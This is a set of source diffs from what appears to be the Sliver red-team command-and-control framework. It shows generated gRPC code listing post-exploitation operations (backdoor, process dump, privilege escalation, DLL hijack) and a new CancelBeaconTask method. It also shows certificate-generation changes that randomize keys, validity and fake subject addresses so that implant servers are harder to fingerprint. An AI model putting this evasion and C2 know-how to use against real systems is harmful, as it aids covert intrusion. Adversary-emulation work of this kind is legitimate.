93, // 127: rpcpb.SliverRPC.Reconfigure:output_type -> sliverpb.Reconfigure
|
||||
0, // 128: rpcpb.SliverRPC.Rename:output_type -> commonpb.Empty
|
||||
94, // 129: rpcpb.SliverRPC.GetSessions:output_type -> clientpb.Sessions
|
||||
95, // 130: rpcpb.SliverRPC.GetBeacons:output_type -> clientpb.Beacons
|
||||
4, // 131: rpcpb.SliverRPC.GetBeacon:output_type -> clientpb.Beacon
|
||||
0, // 132: rpcpb.SliverRPC.RmBeacon:output_type -> commonpb.Empty
|
||||
96, // 133: rpcpb.SliverRPC.GetBeaconTasks:output_type -> clientpb.BeaconTasks
|
||||
5, // 134: rpcpb.SliverRPC.GetBeaconTaskContent:output_type -> clientpb.BeaconTask
|
||||
5, // 135: rpcpb.SliverRPC.CancelBeaconTask:output_type -> clientpb.BeaconTask
|
||||
97, // 136: rpcpb.SliverRPC.MonitorStart:output_type -> commonpb.Response
|
||||
0, // 137: rpcpb.SliverRPC.MonitorStop:output_type -> commonpb.Empty
|
||||
98, // 138: rpcpb.SliverRPC.GetJobs:output_type -> clientpb.Jobs
|
||||
99, // 139: rpcpb.SliverRPC.KillJob:output_type -> clientpb.KillJob
|
||||
100, // 140: rpcpb.SliverRPC.StartMTLSListener:output_type -> clientpb.MTLSListener
|
||||
101, // 141: rpcpb.SliverRPC.StartWGListener:output_type -> clientpb.WGListener
|
||||
102, // 142: rpcpb.SliverRPC.StartDNSListener:output_type -> clientpb.DNSListener
|
||||
103, // 143: rpcpb.SliverRPC.StartHTTPSListener:output_type -> clientpb.HTTPListener
|
||||
103, // 144: rpcpb.SliverRPC.StartHTTPListener:output_type -> clientpb.HTTPListener
|
||||
104, // 145: rpcpb.SliverRPC.StartTCPStagerListener:output_type -> clientpb.StagerListener
|
||||
104, // 146: rpcpb.SliverRPC.StartHTTPStagerListener:output_type -> clientpb.StagerListener
|
||||
12, // 147: rpcpb.SliverRPC.LootAdd:output_type -> clientpb.Loot
|
||||
0, // 148: rpcpb.SliverRPC.LootRm:output_type -> commonpb.Empty
|
||||
12, // 149: rpcpb.SliverRPC.LootUpdate:output_type -> clientpb.Loot
|
||||
12, // 150: rpcpb.SliverRPC.LootContent:output_type -> clientpb.Loot
|
||||
105, // 151: rpcpb.SliverRPC.LootAll:output_type -> clientpb.AllLoot
|
||||
105, // 152: rpcpb.SliverRPC.LootAllOf:output_type -> clientpb.AllLoot
|
||||
106, // 153: rpcpb.SliverRPC.Hosts:output_type -> clientpb.AllHosts
|
||||
13, // 154: rpcpb.SliverRPC.Host:output_type -> clientpb.Host
|
||||
0, // 155: rpcpb.SliverRPC.HostRm:output_type -> commonpb.Empty
|
||||
0, // 156: rpcpb.SliverRPC.HostIOCRm:output_type -> commonpb.Empty
|
||||
107, // 157: rpcpb.SliverRPC.Generate:output_type -> clientpb.Generate
|
||||
107, // 158: rpcpb.SliverRPC.Regenerate:output_type -> clientpb.Generate
|
||||
108, // 159: rpcpb.SliverRPC.ImplantBuilds:output_type -> clientpb.ImplantBuilds
|
||||
0, // 160: rpcpb.SliverRPC.DeleteImplantBuild:output_type -> commonpb.Empty
|
||||
109, // 161: rpcpb.SliverRPC.Canaries:output_type -> clientpb.Canaries
|
||||
110, // 162: rpcpb.SliverRPC.GenerateWGClientConfig:output_type -> clientpb.WGClientConfig
|
||||
111, // 163: rpcpb.SliverRPC.GenerateUniqueIP:output_type -> clientpb.UniqueWGIP
|
||||
112, // 164: rpcpb.SliverRPC.ImplantProfiles:output_type -> clientpb.ImplantProfiles
|
||||
0, // 165: rpcpb.SliverRPC.DeleteImplantProfile:output_type -> commonpb.Empty
|
||||
18, // 166: rpcpb.SliverRPC.SaveImplantProfile:output_type -> clientpb.ImplantProfile
|
||||
113, // 167: rpcpb.SliverRPC.MsfStage:output_type -> clientpb.MsfStager
|
||||
114, // 168: rpcpb.SliverRPC.ShellcodeRDI:output_type -> clientpb.ShellcodeRDI
|
||||
115, // 169: rpcpb.SliverRPC.GetCompiler:output_type -> clientpb.Compiler
|
||||
116, // 170: rpcpb.SliverRPC.ShellcodeEncoder:output_type -> clientpb.ShellcodeEncode
|
||||
117, // 171: rpcpb.SliverRPC.ShellcodeEncoderMap:output_type -> clientpb.ShellcodeEncoderMap
|
||||
118, // 172: rpcpb.SliverRPC.Websites:output_type -> clientpb.Websites
|
||||
22, // 173: rpcpb.SliverRPC.Website:output_type -> clientpb.Website
|
||||
0, // 174: rpcpb.SliverRPC.WebsiteRemove:output_type -> commonpb.Empty
|
||||
22, // 175: rpcpb.SliverRPC.WebsiteAddContent:output_type -> clientpb.Website
|
||||
22, // 176: rpcpb.SliverRPC.WebsiteUpdateContent:output_type -> clientpb.Website
|
||||
22, // 177: rpcpb.SliverRPC.WebsiteRemoveContent:output_type -> clientpb.Website
|
||||
25, // 178: rpcpb.SliverRPC.Ping:output_type -> sliverpb.Ping
|
||||
119, // 179: rpcpb.SliverRPC.Ps:output_type -> sliverpb.Ps
|
||||
120, // 180: rpcpb.SliverRPC.Terminate:output_type -> sliverpb.Terminate
|
||||
121, // 181: rpcpb.SliverRPC.Ifconfig:output_type -> sliverpb.Ifconfig
|
||||
122, // 182: rpcpb.SliverRPC.Netstat:output_type -> sliverpb.Netstat
|
||||
123, // 183: rpcpb.SliverRPC.Ls:output_type -> sliverpb.Ls
|
||||
124, // 184: rpcpb.SliverRPC.Cd:output_type -> sliverpb.Pwd
|
||||
124, // 185: rpcpb.SliverRPC.Pwd:output_type -> sliverpb.Pwd
|
||||
125, // 186: rpcpb.SliverRPC.Mv:output_type -> sliverpb.Mv
|
||||
126, // 187: rpcpb.SliverRPC.Rm:output_type -> sliverpb.Rm
|
||||
127, // 188: rpcpb.SliverRPC.Mkdir:output_type -> sliverpb.Mkdir
|
||||
128, // 189: rpcpb.SliverRPC.Download:output_type -> sliverpb.Download
|
||||
129, // 190: rpcpb.SliverRPC.Upload:output_type -> sliverpb.Upload
|
||||
130, // 191: rpcpb.SliverRPC.ProcessDump:output_type -> sliverpb.ProcessDump
|
||||
131, // 192: rpcpb.SliverRPC.RunAs:output_type -> sliverpb.RunAs
|
||||
132, // 193: rpcpb.SliverRPC.Impersonate:output_type -> sliverpb.Impersonate
|
||||
133, // 194: rpcpb.SliverRPC.RevToSelf:output_type -> sliverpb.RevToSelf
|
||||
134, // 195: rpcpb.SliverRPC.GetSystem:output_type -> sliverpb.GetSystem
|
||||
135, // 196: rpcpb.SliverRPC.Task:output_type -> sliverpb.Task
|
||||
135, // 197: rpcpb.SliverRPC.Msf:output_type -> sliverpb.Task
|
||||
135, // 198: rpcpb.SliverRPC.MsfRemote:output_type -> sliverpb.Task
|
||||
136, // 199: rpcpb.SliverRPC.ExecuteAssembly:output_type -> sliverpb.ExecuteAssembly
|
||||
137, // 200: rpcpb.SliverRPC.Migrate:output_type -> sliverpb.Migrate
|
||||
138, // 201: rpcpb.SliverRPC.Execute:output_type -> sliverpb.Execute
|
||||
138, // 202: rpcpb.SliverRPC.ExecuteWindows:output_type -> sliverpb.Execute
|
||||
139, // 203: rpcpb.SliverRPC.Sideload:output_type -> sliverpb.Sideload
|
||||
140, // 204: rpcpb.SliverRPC.SpawnDll:output_type -> sliverpb.SpawnDll
|
||||
141, // 205: rpcpb.SliverRPC.Screenshot:output_type -> sliverpb.Screenshot
|
||||
142, // 206: rpcpb.SliverRPC.CurrentTokenOwner:output_type -> sliverpb.CurrentTokenOwner
|
||||
143, // 207: rpcpb.SliverRPC.PivotStartListener:output_type -> sliverpb.PivotListener
|
||||
0, // 208: rpcpb.SliverRPC.PivotStopListener:output_type -> commonpb.Empty
|
||||
144, // 209: rpcpb.SliverRPC.PivotSessionListeners:output_type -> sliverpb.PivotListeners
|
||||
145, // 210: rpcpb.SliverRPC.PivotGraph:output_type -> clientpb.PivotGraph
|
||||
146, // 211: rpcpb.SliverRPC.StartService:output_type -> sliverpb.ServiceInfo
|
||||
146, // 212: rpcpb.SliverRPC.StopService:output_type -> sliverpb.ServiceInfo
|
||||
146, // 213: rpcpb.SliverRPC.RemoveService:output_type -> sliverpb.ServiceInfo
|
||||
147, // 214: rpcpb.SliverRPC.MakeToken:output_type -> sliverpb.MakeToken
|
||||
148, // 215: rpcpb.SliverRPC.GetEnv:output_type -> sliverpb.EnvInfo
|
||||
149, // 216: rpcpb.SliverRPC.SetEnv:output_type -> sliverpb.SetEnv
|
||||
150, // 217: rpcpb.SliverRPC.UnsetEnv:output_type -> sliverpb.UnsetEnv
|
||||
151, // 218: rpcpb.SliverRPC.Backdoor:output_type -> sliverpb.Backdoor
|
||||
152, // 219: rpcpb.SliverRPC.RegistryRead:output_type -> sliverpb.RegistryRead
|
||||
153, // 220: rpcpb.SliverRPC.RegistryWrite:output_type -> sliverpb.RegistryWrite
|
||||
154, // 221: rpcpb.SliverRPC.RegistryCreateKey:output_type -> sliverpb.RegistryCreateKey
|
||||
155, // 222: rpcpb.SliverRPC.RegistryDeleteKey:output_type -> sliverpb.RegistryDeleteKey
|
||||
156, // 223: rpcpb.SliverRPC.RegistryListSubKeys:output_type -> sliverpb.RegistrySubKeyList
|
||||
157, // 224: rpcpb.SliverRPC.RegistryListValues:output_type -> sliverpb.RegistryValuesList
|
||||
158, // 225: rpcpb.SliverRPC.RunSSHCommand:output_type -> sliverpb.SSHCommand
|
||||
159, // 226: rpcpb.SliverRPC.HijackDLL:output_type -> clientpb.DllHijack
|
||||
160, // 227: rpcpb.SliverRPC.GetPrivs:output_type -> sliverpb.GetPrivs
|
||||
74, // 228: rpcpb.SliverRPC.OpenSession:output_type -> sliverpb.OpenSession
|
||||
0, // 229: rpcpb.SliverRPC.CloseSession:output_type -> commonpb.Empty
|
||||
161, // 230: rpcpb.SliverRPC.RegisterExtension:output_type -> sliverpb.RegisterExtension
|
||||
162, // 231: rpcpb.SliverRPC.CallExtension:output_type -> sliverpb.CallExtension
|
||||
163, // 232: rpcpb.SliverRPC.ListExtensions:output_type -> sliverpb.ListExtensions
|
||||
164, // 233: rpcpb.SliverRPC.WGStartPortForward:output_type -> sliverpb.WGPortForward
|
||||
164, // 234: rpcpb.SliverRPC.WGStopPortForward:output_type -> sliverpb.WGPortForward
|
||||
165, // 235: rpcpb.SliverRPC.WGStartSocks:output_type -> sliverpb.WGSocks
|
||||
165, // 236: rpcpb.SliverRPC.WGStopSocks:output_type -> sliverpb.WGSocks
|
||||
166, // 237: rpcpb.SliverRPC.WGListForwarders:output_type -> sliverpb.WGTCPForwarders
|
||||
167, // 238: rpcpb.SliverRPC.WGListSocksServers:output_type -> sliverpb.WGSocksServers
|
||||
168, // 239: rpcpb.SliverRPC.Shell:output_type -> sliverpb.Shell
|
||||
169, // 240: rpcpb.SliverRPC.Portfwd:output_type -> sliverpb.Portfwd
|
||||
87, // 241: rpcpb.SliverRPC.CreateSocks:output_type -> sliverpb.Socks
|
||||
0, // 242: rpcpb.SliverRPC.CloseSocks:output_type -> commonpb.Empty
|
||||
88, // 243: rpcpb.SliverRPC.SocksProxy:output_type -> sliverpb.SocksData
|
||||
89, // 244: rpcpb.SliverRPC.CreateTunnel:output_type -> sliverpb.Tunnel
|
||||
0, // 245: rpcpb.SliverRPC.CloseTunnel:output_type -> commonpb.Empty
|
||||
90, // 246: rpcpb.SliverRPC.TunnelData:output_type -> sliverpb.TunnelData
|
||||
170, // 247: rpcpb.SliverRPC.Events:output_type -> clientpb.Event
|
||||
124, // [124:248] is the sub-list for method output_type
|
||||
0, // [0:124] is the sub-list for method input_type
|
||||
0, // [0:0] is the sub-list for extension type_name
|
||||
0, // [0:0] is the sub-list for extension extendee
|
||||
0, // [0:0] is the sub-list for field type_name
|
||||
|
||||
@@ -29,6 +29,7 @@ service SliverRPC {
|
||||
rpc RmBeacon(clientpb.Beacon) returns (commonpb.Empty);
|
||||
rpc GetBeaconTasks(clientpb.Beacon) returns (clientpb.BeaconTasks);
|
||||
rpc GetBeaconTaskContent(clientpb.BeaconTask) returns (clientpb.BeaconTask);
|
||||
rpc CancelBeaconTask(clientpb.BeaconTask) returns (clientpb.BeaconTask);
|
||||
|
||||
// ***Threat monitoring ***
|
||||
rpc MonitorStart(commonpb.Empty) returns (commonpb.Response);
|
||||
|
||||
@@ -1,8 +1,4 @@
|
||||
// Code generated by protoc-gen-go-grpc. DO NOT EDIT.
|
||||
// versions:
|
||||
// - protoc-gen-go-grpc v1.2.0
|
||||
// - protoc v3.21.5
|
||||
// source: rpcpb/services.proto
|
||||
|
||||
package rpcpb
|
||||
|
||||
@@ -41,6 +37,7 @@ type SliverRPCClient interface {
|
||||
RmBeacon(ctx context.Context, in *clientpb.Beacon, opts ...grpc.CallOption) (*commonpb.Empty, error)
|
||||
GetBeaconTasks(ctx context.Context, in *clientpb.Beacon, opts ...grpc.CallOption) (*clientpb.BeaconTasks, error)
|
||||
GetBeaconTaskContent(ctx context.Context, in *clientpb.BeaconTask, opts ...grpc.CallOption) (*clientpb.BeaconTask, error)
|
||||
CancelBeaconTask(ctx context.Context, in *clientpb.BeaconTask, opts ...grpc.CallOption) (*clientpb.BeaconTask, error)
|
||||
// ***Threat monitoring ***
|
||||
MonitorStart(ctx context.Context, in *commonpb.Empty, opts ...grpc.CallOption) (*commonpb.Response, error)
|
||||
MonitorStop(ctx context.Context, in *commonpb.Empty, opts ...grpc.CallOption) (*commonpb.Empty, error)
|
||||
@@ -279,6 +276,15 @@ func (c *sliverRPCClient) GetBeaconTaskContent(ctx context.Context, in *clientpb
|
||||
return out, nil
|
||||
}
|
||||
|
||||
func (c *sliverRPCClient) CancelBeaconTask(ctx context.Context, in *clientpb.BeaconTask, opts ...grpc.CallOption) (*clientpb.BeaconTask, error) {
|
||||
out := new(clientpb.BeaconTask)
|
||||
err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/CancelBeaconTask", in, out, opts...)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return out, nil
|
||||
}
|
||||
|
||||
func (c *sliverRPCClient) MonitorStart(ctx context.Context, in *commonpb.Empty, opts ...grpc.CallOption) (*commonpb.Response, error) {
|
||||
out := new(commonpb.Response)
|
||||
err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/MonitorStart", in, out, opts...)
|
||||
@@ -1374,6 +1380,7 @@ type SliverRPCServer interface {
|
||||
RmBeacon(context.Context, *clientpb.Beacon) (*commonpb.Empty, error)
|
||||
GetBeaconTasks(context.Context, *clientpb.Beacon) (*clientpb.BeaconTasks, error)
|
||||
GetBeaconTaskContent(context.Context, *clientpb.BeaconTask) (*clientpb.BeaconTask, error)
|
||||
CancelBeaconTask(context.Context, *clientpb.BeaconTask) (*clientpb.BeaconTask, error)
|
||||
// ***Threat monitoring ***
|
||||
MonitorStart(context.Context, *commonpb.Empty) (*commonpb.Response, error)
|
||||
MonitorStop(context.Context, *commonpb.Empty) (*commonpb.Empty, error)
|
||||
@@ -1543,6 +1550,9 @@ func (UnimplementedSliverRPCServer) GetBeaconTasks(context.Context, *clientpb.Be
|
||||
func (UnimplementedSliverRPCServer) GetBeaconTaskContent(context.Context, *clientpb.BeaconTask) (*clientpb.BeaconTask, error) {
|
||||
return nil, status.Errorf(codes.Unimplemented, "method GetBeaconTaskContent not implemented")
|
||||
}
|
||||
func (UnimplementedSliverRPCServer) CancelBeaconTask(context.Context, *clientpb.BeaconTask) (*clientpb.BeaconTask, error) {
|
||||
return nil, status.Errorf(codes.Unimplemented, "method CancelBeaconTask not implemented")
|
||||
}
|
||||
func (UnimplementedSliverRPCServer) MonitorStart(context.Context, *commonpb.Empty) (*commonpb.Response, error) {
|
||||
return nil, status.Errorf(codes.Unimplemented, "method MonitorStart not implemented")
|
||||
}
|
||||
@@ -2090,6 +2100,24 @@ func _SliverRPC_GetBeaconTaskContent_Handler(srv interface{}, ctx context.Contex
|
||||
return interceptor(ctx, in, info, handler)
|
||||
}
|
||||
|
||||
func _SliverRPC_CancelBeaconTask_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {
|
||||
in := new(clientpb.BeaconTask)
|
||||
if err := dec(in); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if interceptor == nil {
|
||||
return srv.(SliverRPCServer).CancelBeaconTask(ctx, in)
|
||||
}
|
||||
info := &grpc.UnaryServerInfo{
|
||||
Server: srv,
|
||||
FullMethod: "/rpcpb.SliverRPC/CancelBeaconTask",
|
||||
}
|
||||
handler := func(ctx context.Context, req interface{}) (interface{}, error) {
|
||||
return srv.(SliverRPCServer).CancelBeaconTask(ctx, req.(*clientpb.BeaconTask))
|
||||
}
|
||||
return interceptor(ctx, in, info, handler)
|
||||
}
|
||||
|
||||
func _SliverRPC_MonitorStart_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {
|
||||
in := new(commonpb.Empty)
|
||||
if err := dec(in); err != nil {
|
||||
@@ -4176,6 +4204,10 @@ var SliverRPC_ServiceDesc = grpc.ServiceDesc{
|
||||
MethodName: "GetBeaconTaskContent",
|
||||
Handler: _SliverRPC_GetBeaconTaskContent_Handler,
|
||||
},
|
||||
{
|
||||
MethodName: "CancelBeaconTask",
|
||||
Handler: _SliverRPC_CancelBeaconTask_Handler,
|
||||
},
|
||||
{
|
||||
MethodName: "MonitorStart",
|
||||
Handler: _SliverRPC_MonitorStart_Handler,
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
// Code generated by protoc-gen-go. DO NOT EDIT.
|
||||
// versions:
|
||||
// protoc-gen-go v1.27.1
|
||||
// protoc-gen-go v1.26.0
|
||||
// protoc v3.21.5
|
||||
// source: sliverpb/sliver.proto
|
||||
|
||||
|
||||
@@ -20,7 +20,7 @@ package certs
|
||||
|
||||
import (
|
||||
"os"
|
||||
"path"
|
||||
"path/filepath"
|
||||
|
||||
"github.com/bishopfox/sliver/server/log"
|
||||
"golang.org/x/crypto/acme/autocert"
|
||||
@@ -37,7 +37,7 @@ var (
|
||||
|
||||
// GetACMEDir - Dir to store ACME certs
|
||||
func GetACMEDir() string {
|
||||
acmePath := path.Join(getCertDir(), ACMEDirName)
|
||||
acmePath := filepath.Join(getCertDir(), ACMEDirName)
|
||||
if _, err := os.Stat(acmePath); os.IsNotExist(err) {
|
||||
acmeLog.Infof("[mkdir] %s", acmePath)
|
||||
os.MkdirAll(acmePath, 0700)
|
||||
|
||||
+8
-8
@@ -25,7 +25,7 @@ import (
|
||||
"fmt"
|
||||
"io/ioutil"
|
||||
"os"
|
||||
"path"
|
||||
"path/filepath"
|
||||
|
||||
"github.com/bishopfox/sliver/server/assets"
|
||||
)
|
||||
@@ -44,7 +44,7 @@ func SetupCAs() {
|
||||
|
||||
func getCertDir() string {
|
||||
rootDir := assets.GetRootAppDir()
|
||||
certDir := path.Join(rootDir, "certs")
|
||||
certDir := filepath.Join(rootDir, "certs")
|
||||
if _, err := os.Stat(certDir); os.IsNotExist(err) {
|
||||
err := os.MkdirAll(certDir, 0700)
|
||||
if err != nil {
|
||||
@@ -57,7 +57,7 @@ func getCertDir() string {
|
||||
// GenerateCertificateAuthority - Creates a new CA cert for a given type
|
||||
func GenerateCertificateAuthority(caType string, commonName string) (*x509.Certificate, *ecdsa.PrivateKey) {
|
||||
storageDir := getCertDir()
|
||||
certFilePath := path.Join(storageDir, fmt.Sprintf("%s-ca-cert.pem", caType))
|
||||
certFilePath := filepath.Join(storageDir, fmt.Sprintf("%s-ca-cert.pem", caType))
|
||||
if _, err := os.Stat(certFilePath); os.IsNotExist(err) {
|
||||
certsLog.Infof("Generating certificate authority for '%s'", caType)
|
||||
cert, key := GenerateECCCertificate(caType, commonName, true, false)
|
||||
@@ -104,9 +104,9 @@ func GetCertificateAuthority(caType string) (*x509.Certificate, *ecdsa.PrivateKe
|
||||
|
||||
// GetCertificateAuthorityPEM - Get PEM encoded CA cert/key
|
||||
func GetCertificateAuthorityPEM(caType string) ([]byte, []byte, error) {
|
||||
caType = path.Base(caType)
|
||||
caCertPath := path.Join(getCertDir(), fmt.Sprintf("%s-ca-cert.pem", caType))
|
||||
caKeyPath := path.Join(getCertDir(), fmt.Sprintf("%s-ca-key.pem", caType))
|
||||
caType = filepath.Base(caType)
|
||||
caCertPath := filepath.Join(getCertDir(), fmt.Sprintf("%s-ca-cert.pem", caType))
|
||||
caKeyPath := filepath.Join(getCertDir(), fmt.Sprintf("%s-ca-key.pem", caType))
|
||||
|
||||
certPEM, err := ioutil.ReadFile(caCertPath)
|
||||
if err != nil {
|
||||
@@ -134,8 +134,8 @@ func SaveCertificateAuthority(caType string, cert []byte, key []byte) {
|
||||
|
||||
// CAs get written to the filesystem since we control the names and makes them
|
||||
// easier to move around/backup
|
||||
certFilePath := path.Join(storageDir, fmt.Sprintf("%s-ca-cert.pem", caType))
|
||||
keyFilePath := path.Join(storageDir, fmt.Sprintf("%s-ca-key.pem", caType))
|
||||
certFilePath := filepath.Join(storageDir, fmt.Sprintf("%s-ca-cert.pem", caType))
|
||||
keyFilePath := filepath.Join(storageDir, fmt.Sprintf("%s-ca-key.pem", caType))
|
||||
|
||||
err := ioutil.WriteFile(certFilePath, cert, 0600)
|
||||
if err != nil {
|
||||
|
||||
+23
-10
@@ -31,6 +31,7 @@ import (
|
||||
"errors"
|
||||
"fmt"
|
||||
"math/big"
|
||||
insecureRand "math/rand"
|
||||
"net"
|
||||
"time"
|
||||
|
||||
@@ -40,12 +41,6 @@ import (
|
||||
)
|
||||
|
||||
const (
|
||||
// RSAKeySize - Default size of RSA keys in bits
|
||||
RSAKeySize = 2048 // This is plenty 4096 is overkill
|
||||
|
||||
// Certs are valid for ~3 Years, minus up to 1 year from Now()
|
||||
validFor = 3 * (365 * 24 * time.Hour)
|
||||
|
||||
// ECCKey - Namespace for ECC keys
|
||||
ECCKey = "ecc"
|
||||
|
||||
@@ -148,7 +143,9 @@ func GenerateECCCertificate(caType string, commonName string, isCA bool, isClien
|
||||
var err error
|
||||
|
||||
// Generate private key
|
||||
privateKey, err = ecdsa.GenerateKey(elliptic.P384(), rand.Reader)
|
||||
curves := []elliptic.Curve{elliptic.P521(), elliptic.P384(), elliptic.P256()}
|
||||
curve := curves[randomInt(len(curves))]
|
||||
privateKey, err = ecdsa.GenerateKey(curve, rand.Reader)
|
||||
if err != nil {
|
||||
certsLog.Fatalf("Failed to generate private key: %s", err)
|
||||
}
|
||||
@@ -158,7 +155,7 @@ func GenerateECCCertificate(caType string, commonName string, isCA bool, isClien
|
||||
return generateCertificate(caType, subject, isCA, isClient, privateKey)
|
||||
}
|
||||
|
||||
// GenerateRSACertificate - Generates a 2048 bit RSA Certificate
|
||||
// GenerateRSACertificate - Generates an RSA Certificate
|
||||
func GenerateRSACertificate(caType string, commonName string, isCA bool, isClient bool) ([]byte, []byte) {
|
||||
|
||||
certsLog.Debugf("Generating TLS certificate (RSA) for '%s' ...", commonName)
|
||||
@@ -167,7 +164,7 @@ func GenerateRSACertificate(caType string, commonName string, isCA bool, isClien
|
||||
var err error
|
||||
|
||||
// Generate private key
|
||||
privateKey, err = rsa.GenerateKey(rand.Reader, RSAKeySize)
|
||||
privateKey, err = rsa.GenerateKey(rand.Reader, rsaKeySize())
|
||||
if err != nil {
|
||||
certsLog.Fatalf("Failed to generate private key %s", err)
|
||||
}
|
||||
@@ -183,7 +180,7 @@ func generateCertificate(caType string, subject pkix.Name, isCA bool, isClient b
|
||||
notBefore := time.Now()
|
||||
days := randomInt(365) * -1 // Within -1 year
|
||||
notBefore = notBefore.AddDate(0, 0, days)
|
||||
notAfter := notBefore.Add(validFor)
|
||||
notAfter := notBefore.Add(randomValidFor())
|
||||
certsLog.Debugf("Valid from %v to %v", notBefore, notAfter)
|
||||
|
||||
// Serial number
|
||||
@@ -297,3 +294,19 @@ func randomInt(max int) int {
|
||||
i := binary.LittleEndian.Uint32(buf)
|
||||
return int(i) % max
|
||||
}
|
||||
|
||||
func randomValidFor() time.Duration {
|
||||
validFor := 3 * (365 * 24 * time.Hour)
|
||||
switch insecureRand.Intn(2) {
|
||||
case 0:
|
||||
validFor = 2 * (365 * 24 * time.Hour)
|
||||
case 1:
|
||||
validFor = 3 * (365 * 24 * time.Hour)
|
||||
}
|
||||
return validFor
|
||||
}
|
||||
|
||||
func rsaKeySize() int {
|
||||
rsaKeySizes := []int{4096, 2048}
|
||||
return rsaKeySizes[randomInt(len(rsaKeySizes))]
|
||||
}
|
||||
@@ -37,7 +37,7 @@ func HTTPSGenerateRSACertificate(host string) ([]byte, []byte, error) {
|
||||
var err error
|
||||
|
||||
// Generate private key
|
||||
privateKey, err = rsa.GenerateKey(rand.Reader, RSAKeySize)
|
||||
privateKey, err = rsa.GenerateKey(rand.Reader, rsaKeySize())
|
||||
if err != nil {
|
||||
certsLog.Fatalf("Failed to generate private key %s", err)
|
||||
return nil, nil, err
|
||||
|
||||
@@ -66,7 +66,6 @@ func OperatorServerGenerateCertificate(hostname string) ([]byte, []byte, error)
|
||||
|
||||
// OperatorClientListCertificates - Get all client certificates
|
||||
func OperatorClientListCertificates() []*x509.Certificate {
|
||||
|
||||
operatorCerts := []*models.Certificate{}
|
||||
dbSession := db.Session()
|
||||
result := dbSession.Where(&models.Certificate{CAType: OperatorCA}).Find(&operatorCerts)
|
||||
|
||||
+325
-86
@@ -16,6 +16,11 @@ package certs
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
|
||||
------------------------------------------------------------------------
|
||||
|
||||
Use JARM if you want to fingerprint, don't rely on the subject, its sloppy.
|
||||
|
||||
*/
|
||||
|
||||
import (
|
||||
@@ -23,101 +28,314 @@ import (
|
||||
"fmt"
|
||||
insecureRand "math/rand"
|
||||
"strings"
|
||||
|
||||
"github.com/bishopfox/sliver/server/codenames"
|
||||
)
|
||||
|
||||
var (
|
||||
// State -> Localities -> Street Addresses
|
||||
states = map[string]map[string][]string{
|
||||
"": {
|
||||
"": {""},
|
||||
// Finally found a good use for Github Co-Pilot!
|
||||
// Country -> State -> Localities -> Street Addresses
|
||||
subjects = map[string]map[string]map[string][]string{
|
||||
"US": {
|
||||
"": {
|
||||
"": {
|
||||
"",
|
||||
},
|
||||
},
|
||||
"Arizona": {
|
||||
"Phoenix": {""},
|
||||
"Mesa": {""},
|
||||
"Scottsdale": {""},
|
||||
"Chandler": {""},
|
||||
},
|
||||
"California": {
|
||||
"San Francisco": {"", "", "Golden Gate"},
|
||||
"Oakland": {""},
|
||||
"Berkeley": {""},
|
||||
"Palo Alto": {""},
|
||||
"Los Angeles": {""},
|
||||
"San Diego": {""},
|
||||
"San Jose": {""},
|
||||
"Sunnyvale": {""},
|
||||
"Santa Clara": {""},
|
||||
"Mountain View": {""},
|
||||
"San Mateo": {""},
|
||||
"Redwood City": {""},
|
||||
"Menlo Park": {""},
|
||||
"San Bruno": {""},
|
||||
"San Carlos": {""},
|
||||
"San Leandro": {""},
|
||||
"San Rafael": {""},
|
||||
"San Ramon": {""},
|
||||
"Santa Monica": {""},
|
||||
"Santa Rosa": {""},
|
||||
"South San Francisco": {
|
||||
"",
|
||||
},
|
||||
},
|
||||
"Colorado": {
|
||||
"Denver": {""},
|
||||
"Boulder": {""},
|
||||
"Aurora": {""},
|
||||
"Fort Collins": {""},
|
||||
},
|
||||
"Connecticut": {
|
||||
"New Haven": {""},
|
||||
"Bridgeport": {""},
|
||||
"Stamford": {""},
|
||||
"Norwalk": {""},
|
||||
},
|
||||
"Washington": {
|
||||
"Seattle": {""},
|
||||
"Tacoma": {""},
|
||||
"Olympia": {""},
|
||||
"Spokane": {""},
|
||||
},
|
||||
"Florida": {
|
||||
"Miami": {""},
|
||||
"Orlando": {""},
|
||||
"Tampa": {""},
|
||||
"Jacksonville": {""},
|
||||
},
|
||||
"Illinois": {
|
||||
"Chicago": {""},
|
||||
"Aurora": {""},
|
||||
"Naperville": {""},
|
||||
"Peoria": {""},
|
||||
},
|
||||
"Indiana": {
|
||||
"Indianapolis": {""},
|
||||
"Fort Wayne": {""},
|
||||
"Evansville": {""},
|
||||
"South Bend": {""},
|
||||
},
|
||||
"Massachusetts": {
|
||||
"Boston": {""},
|
||||
"Worcester": {
|
||||
"",
|
||||
"Polytechnic Institute",
|
||||
},
|
||||
"Springfield": {""},
|
||||
"Lowell": {""},
|
||||
},
|
||||
"Michigan": {
|
||||
"Detroit": {""},
|
||||
"Grand Rapids": {
|
||||
"",
|
||||
"State University",
|
||||
},
|
||||
"Warren": {""},
|
||||
"Sterling Heights": {
|
||||
"",
|
||||
"Community College",
|
||||
},
|
||||
},
|
||||
"Minnesota": {
|
||||
"Minneapolis": {""},
|
||||
"Saint Paul": {""},
|
||||
"Bloomington": {""},
|
||||
"Plymouth": {""},
|
||||
},
|
||||
"New Jersey": {
|
||||
"Newark": {""},
|
||||
"Jersey City": {
|
||||
"",
|
||||
"Institute of Technology",
|
||||
},
|
||||
"Paterson": {""},
|
||||
"Elizabeth": {
|
||||
"",
|
||||
"Princeton",
|
||||
},
|
||||
},
|
||||
"New York": {
|
||||
"New York": {""},
|
||||
"Buffalo": {""},
|
||||
"Rochester": {
|
||||
"",
|
||||
"University",
|
||||
},
|
||||
"Yonkers": {""},
|
||||
},
|
||||
"North Carolina": {
|
||||
"Charlotte": {""},
|
||||
"Raleigh": {""},
|
||||
"Greensboro": {
|
||||
"",
|
||||
"University",
|
||||
},
|
||||
"Winston-Salem": {""},
|
||||
},
|
||||
"Ohio": {
|
||||
"Columbus": {""},
|
||||
"Cleveland": {
|
||||
"",
|
||||
"State University",
|
||||
},
|
||||
"Cincinnati": {""},
|
||||
"Toledo": {""},
|
||||
},
|
||||
},
|
||||
"Arizona": {
|
||||
"Phoenix": {""},
|
||||
